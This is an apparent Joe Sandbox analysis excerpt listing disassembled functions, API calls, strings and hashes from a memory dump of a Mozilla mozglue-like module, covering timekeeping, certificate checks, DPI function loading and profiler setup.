GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BF2369F
__aulldiv.LIBCMT ref: 6BF236E4
QueryPerformanceCounter.KERNEL32(?), ref: 6BF23773
EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF2377E
LeaveCriticalSection.KERNEL32(6BFAF688), ref: 6BF237BD
QueryPerformanceCounter.KERNEL32(?), ref: 6BF237C4
EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF237CB
LeaveCriticalSection.KERNEL32(6BFAF688), ref: 6BF23801
__aulldiv.LIBCMT ref: 6BF23883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6BF23902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6BF23918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6BF2394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6BF235DB
AuthcAMDenti, xrefs: 6BF23946
GenuntelineI, xrefs: 6BF23639
QPC, xrefs: 6BF238FC
GTC, xrefs: 6BF23912

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 8296a6e42f315e68991d61caddc227e64cf953f0a521ec54ffb3ce3a8c49ba4b
Instruction ID: cf37598698bee0fd5bd84ce279051adafcb7080e9e5fc89c5a64fedd0db45afb
Opcode Fuzzy Hash: 8296a6e42f315e68991d61caddc227e64cf953f0a521ec54ffb3ce3a8c49ba4b
Instruction Fuzzy Hash: 59B191B2A28310DFDB5CCF68C85571EBBE5EB8AB00F05892DE499D7370D674D9088B91

Function 6BF3C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6BF3C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6BF3C969
GetSystemInfo.KERNEL32(?), ref: 6BF3C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6BF3C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6BF3C9E2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: bfab1c1575ddcd3175d90c0e3eb365ed9b505c1d3481760215099be8d4e869b9
Instruction ID: b360f3914f91a907c969b3273c5c572076a0b36a5cb693660f3cdf7955f7026b
Opcode Fuzzy Hash: bfab1c1575ddcd3175d90c0e3eb365ed9b505c1d3481760215099be8d4e869b9
Instruction Fuzzy Hash: 23212933611338EBDB098A64DC98BAE77A9EB4A740F51041AF943E7260DB349C0487E0

Function 6BF23060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6BF23095

Part of subcall function 6BF235A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6BFAF688,00001000), ref: 6BF235D5
Part of subcall function 6BF235A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BF235E0
Part of subcall function 6BF235A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6BF235FD
Part of subcall function 6BF235A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BF2363F
Part of subcall function 6BF235A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BF2369F
Part of subcall function 6BF235A0: __aulldiv.LIBCMT ref: 6BF236E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF2309F

Part of subcall function 6BF45B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BF456EE,?,00000001), ref: 6BF45B85
Part of subcall function 6BF45B50: EnterCriticalSection.KERNEL32(6BFAF688,?,?,?,6BF456EE,?,00000001), ref: 6BF45B90
Part of subcall function 6BF45B50: LeaveCriticalSection.KERNEL32(6BFAF688,?,?,?,6BF456EE,?,00000001), ref: 6BF45BD8
Part of subcall function 6BF45B50: GetTickCount64.KERNEL32 ref: 6BF45BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6BF230BE

Part of subcall function 6BF230F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6BF23127
Part of subcall function 6BF230F0: __aulldiv.LIBCMT ref: 6BF23140

Part of subcall function 6BF5AB2A: __onexit.LIBCMT ref: 6BF5AB30

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 370c7a6dcbcfa831d3405a9178f718d99f6e4c53be370dab7d24a8ccacc1d7ea
Instruction ID: fb89dbc19e518a742fc3df5be96cfbaab16d7e1d7bccbd8b72d28ca365f22b3b
Opcode Fuzzy Hash: 370c7a6dcbcfa831d3405a9178f718d99f6e4c53be370dab7d24a8ccacc1d7ea
Instruction Fuzzy Hash: 7FF0F973C30749D7CA54DF7888423AEB764EF6B618F145319E854AB231FB30A1E88391

Non-executed Functions

Function 6BF36C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6BF36CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6BF36D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6BF36D26

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6BF36D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6BF36D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6BF36D73
free.MOZGLUE(00000000), ref: 6BF36D80
CertGetNameStringW.CRYPT32 ref: 6BF36DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6BF36DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6BF36DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6BF36DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6BF36E10
CryptMsgClose.CRYPT32(00000000), ref: 6BF36E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6BF36E34
CreateFileW.KERNEL32 ref: 6BF36EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6BF36F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6BF36F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6BF3709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6BF37103
free.MOZGLUE(00000000), ref: 6BF37153
CloseHandle.KERNEL32(?), ref: 6BF37176
__Init_thread_footer.LIBCMT ref: 6BF37209
__Init_thread_footer.LIBCMT ref: 6BF3723A
__Init_thread_footer.LIBCMT ref: 6BF3726B
__Init_thread_footer.LIBCMT ref: 6BF3729C
__Init_thread_footer.LIBCMT ref: 6BF372DC
__Init_thread_footer.LIBCMT ref: 6BF3730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BF373C2
VerSetConditionMask.NTDLL ref: 6BF373F3
VerSetConditionMask.NTDLL ref: 6BF373FF
VerSetConditionMask.NTDLL ref: 6BF37406
VerSetConditionMask.NTDLL ref: 6BF3740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF3741A
moz_xmalloc.MOZGLUE(?), ref: 6BF3755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BF37568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6BF37585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BF37598
free.MOZGLUE(00000000), ref: 6BF375AC

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

Strings

wintrust.dll, xrefs: 6BF372CD
SHA256, xrefs: 6BF36EC0
(, xrefs: 6BF3768A
CryptCATAdminReleaseCatalogContext, xrefs: 6BF372C8

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: c945993d5dea2dfe1c5db5df614da3711f49496b276179135b9ed8063db04390
Instruction ID: d8d78ac9e19ceb031ddfc1c50c2c6d9460c29aa87712425057c1919fbe3f7008
Opcode Fuzzy Hash: c945993d5dea2dfe1c5db5df614da3711f49496b276179135b9ed8063db04390
Instruction Fuzzy Hash: 9352D873910225DBEB659F34CC84F9EB7B8EB45704F0041A9E5099B260DB78AE84CFA1

Function 6BF855F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6BF5E1A5), ref: 6BF85606
LoadLibraryW.KERNEL32(gdi32,?,6BF5E1A5), ref: 6BF8560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6BF85633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6BF8563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6BF8566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6BF8567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6BF85696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6BF856B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6BF856CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6BF856E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6BF856FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6BF85716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6BF8572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6BF85748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6BF85761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6BF8577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6BF85793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6BF857A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6BF857BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6BF857D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6BF857EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6BF857FF

Strings

SetWindowPos, xrefs: 6BF856F7
ReleaseDC, xrefs: 6BF85742
LoadIconW, xrefs: 6BF8575B
StretchDIBits, xrefs: 6BF857CC
CreateWindowExW, xrefs: 6BF856C5
GetWindowDC, xrefs: 6BF85710
DeleteObject, xrefs: 6BF857F9
user32, xrefs: 6BF85601
AreDpiAwarenessContextsEqual, xrefs: 6BF85637
MonitorFromWindow, xrefs: 6BF8578D
gdi32, xrefs: 6BF8560A
FillRect, xrefs: 6BF85729
GetThreadDpiAwarenessContext, xrefs: 6BF8562D
RegisterClassW, xrefs: 6BF856AC
LoadCursorW, xrefs: 6BF85774
CreateSolidBrush, xrefs: 6BF857E4
GetDpiForWindow, xrefs: 6BF85690
ShowWindow, xrefs: 6BF856DE
GetSystemMetricsForDpi, xrefs: 6BF85677
GetMonitorInfoW, xrefs: 6BF857A2
SetWindowLongPtrW, xrefs: 6BF857B7
EnableNonClientDpiScaling, xrefs: 6BF85666

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 3e8d634192210380ec729e5cdf4b0b302d5678502e1f42b743a6e2b54a8b1df6
Instruction ID: f838f05435660e5a8b2cefb942cde97902db1c9e12fb05cc47cc5b1d92d5cef8
Opcode Fuzzy Hash: 3e8d634192210380ec729e5cdf4b0b302d5678502e1f42b743a6e2b54a8b1df6
Instruction Fuzzy Hash: 9F514276520316DFEF495F359D98B2E3AFCAB072417005466BA12E6272EB79D808CF70

Function 6BF6F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF6F09B

Part of subcall function 6BF45B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BF456EE,?,00000001), ref: 6BF45B85
Part of subcall function 6BF45B50: EnterCriticalSection.KERNEL32(6BFAF688,?,?,?,6BF456EE,?,00000001), ref: 6BF45B90
Part of subcall function 6BF45B50: LeaveCriticalSection.KERNEL32(6BFAF688,?,?,?,6BF456EE,?,00000001), ref: 6BF45BD8
Part of subcall function 6BF45B50: GetTickCount64.KERNEL32 ref: 6BF45BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BF6F0AC

Part of subcall function 6BF45C50: GetTickCount64.KERNEL32 ref: 6BF45D40
Part of subcall function 6BF45C50: EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF45D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BF6F0BE

Part of subcall function 6BF45C50: __aulldiv.LIBCMT ref: 6BF45DB4
Part of subcall function 6BF45C50: LeaveCriticalSection.KERNEL32(6BFAF688), ref: 6BF45DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF6F155
GetCurrentThreadId.KERNEL32 ref: 6BF6F1E0
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F1ED
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F212
GetCurrentThreadId.KERNEL32 ref: 6BF6F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF6F248
GetCurrentThreadId.KERNEL32 ref: 6BF6F2AE
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F2BB
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F2F8

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6F350
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F35D
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F381
GetCurrentThreadId.KERNEL32 ref: 6BF6F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6F3A0
GetCurrentThreadId.KERNEL32 ref: 6BF6F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6F491

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF6F3CF

Part of subcall function 6BF6F070: GetCurrentThreadId.KERNEL32 ref: 6BF6F440
Part of subcall function 6BF6F070: AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F44D
Part of subcall function 6BF6F070: ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF6F4A8
GetCurrentThreadId.KERNEL32 ref: 6BF6F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6F561
GetCurrentThreadId.KERNEL32 ref: 6BF6F577
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F585
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6BF6F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6BF6F3A8
[I %d/%d] profiler_resume, xrefs: 6BF6F239
[I %d/%d] profiler_resume_sampling, xrefs: 6BF6F499

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: d2543002e1b123c85c05b9a3a88605e122c99c60f9a36a63f10e159ec4969162
Instruction ID: 19bcb7dfd907a84933ebee8839e42fc7e3d0a9fad8d994ac3d9b4f24cb7a7cfc
Opcode Fuzzy Hash: d2543002e1b123c85c05b9a3a88605e122c99c60f9a36a63f10e159ec4969162
Instruction Fuzzy Hash: E2D16833914205DFDB489F78C48575EBBE8EB463A8F00451AED55C72B1EB39C808CBA2

Function 6BF364C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6BF364DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6BF364F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6BF36505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6BF36518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6BF3652B
memcpy.VCRUNTIME140(?,?,?), ref: 6BF3671C
GetCurrentProcess.KERNEL32 ref: 6BF36724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6BF3672F
GetCurrentProcess.KERNEL32 ref: 6BF36759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6BF36764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6BF36A80
GetSystemInfo.KERNEL32(?), ref: 6BF36ABE
__Init_thread_footer.LIBCMT ref: 6BF36AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF36AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF36AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6BF36798
user32.dll, xrefs: 6BF36526
detoured.dll, xrefs: 6BF364DA
nvdxgiwrap.dll, xrefs: 6BF36513
_etoured.dll, xrefs: 6BF364ED
nvd3d9wrap.dll, xrefs: 6BF36500

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e0f696eff914ba065dce9f80e0063663e6b8a55b69ff996ff57f311ab5f9cab0
Instruction ID: 43d79962c811ce7092642af80473a5a9b4a15b502c54bb9aa6a5576fff650d88
Opcode Fuzzy Hash: e0f696eff914ba065dce9f80e0063663e6b8a55b69ff996ff57f311ab5f9cab0
Instruction Fuzzy Hash: 24F1C772D09229EFDF20DF24CD88B9AB7B5AF45314F0441D9E819A7261D735AE88CF90

Function 6BF6E2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6BF6E2A6), ref: 6BF6E35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6BF6E2A6), ref: 6BF6E386
GetCurrentThreadId.KERNEL32 ref: 6BF6E3E4
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6BF6E4AB
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E4F5
GetCurrentThreadId.KERNEL32 ref: 6BF6E577
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E584
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BF6E8A6

Part of subcall function 6BF2B7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6BF2B7CF
Part of subcall function 6BF2B7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6BF2B808

Part of subcall function 6BF7B800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6BFA0FB6,00000000,?,?,6BF6E69E), ref: 6BF7B830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6BF6E6DA

Part of subcall function 6BF7B8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6BF7B916
Part of subcall function 6BF7B8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6BF7B94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BF6E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF6E883

Strings

MOZ_PROFILER_STARTUP, xrefs: 6BF6E5A1, 6BF6E5CC, 6BF6E5FF, 6BF6E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6BF6E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6BF6E826, 6BF6E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6BF6E722, 6BF6E750, 6BF6E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6BF6E655

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
